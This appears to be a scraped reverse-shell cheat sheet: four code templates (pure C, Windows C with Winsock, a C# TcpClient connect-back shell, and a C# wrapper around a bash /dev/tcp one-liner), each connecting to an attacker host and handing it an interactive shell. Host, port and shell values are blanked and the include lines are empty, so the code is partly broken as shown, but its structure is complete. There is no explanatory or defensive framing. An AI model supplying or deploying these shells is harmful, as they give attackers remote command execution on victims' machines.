pure C: ``` #include #include #include #include #include #include #include int main(void){ int port = ; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr(""); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"bash", NULL}; execvp("", argv); return 0; } ``` C windows: ``` #include #include #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; struct sockaddr_in hax; char ip_addr[16] = ""; char port[6] = ""; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main() { WSAStartup(MAKEWORD(2, 2), &wsaData); Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0; struct hostent *host; host = gethostbyname(ip_addr); strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(port)); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&ini_processo, 0, sizeof(ini_processo)); ini_processo.cb = sizeof(ini_processo); ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; TCHAR cmd[255] = TEXT(".exe"); // ? // TCHAR cmd[255] = TEXT("cmd.exe"); CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info); return 0; } ``` C#: ``` using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Linq; using System.Net; using System.Net.Sockets; namespace ConnectBack { public class Program { static StreamWriter streamWriter; public static void Main(string[] args) { using(TcpClient client = new TcpClient("", )) { using(Stream stream = client.GetStream()) { using(StreamReader rdr = new StreamReader(stream)) { streamWriter = new StreamWriter(stream); StringBuilder strInput = new StringBuilder(); Process p = new Process(); p.StartInfo.FileName = ""; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); //strInput.Append("\n"); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } } } ``` C#: ``` using System; using System.Diagnostics; namespace BackConnect { class ReverseBash { public static void Main(string[] args) { Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = ""; proc.StartInfo.Arguments = "-c \" -i >& /dev/tcp/>/ 0>&1\""; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); while (!proc.StandardOutput.EndOfStream) { Console.WriteLine(proc.StandardOutput.ReadLine()); } } } } ```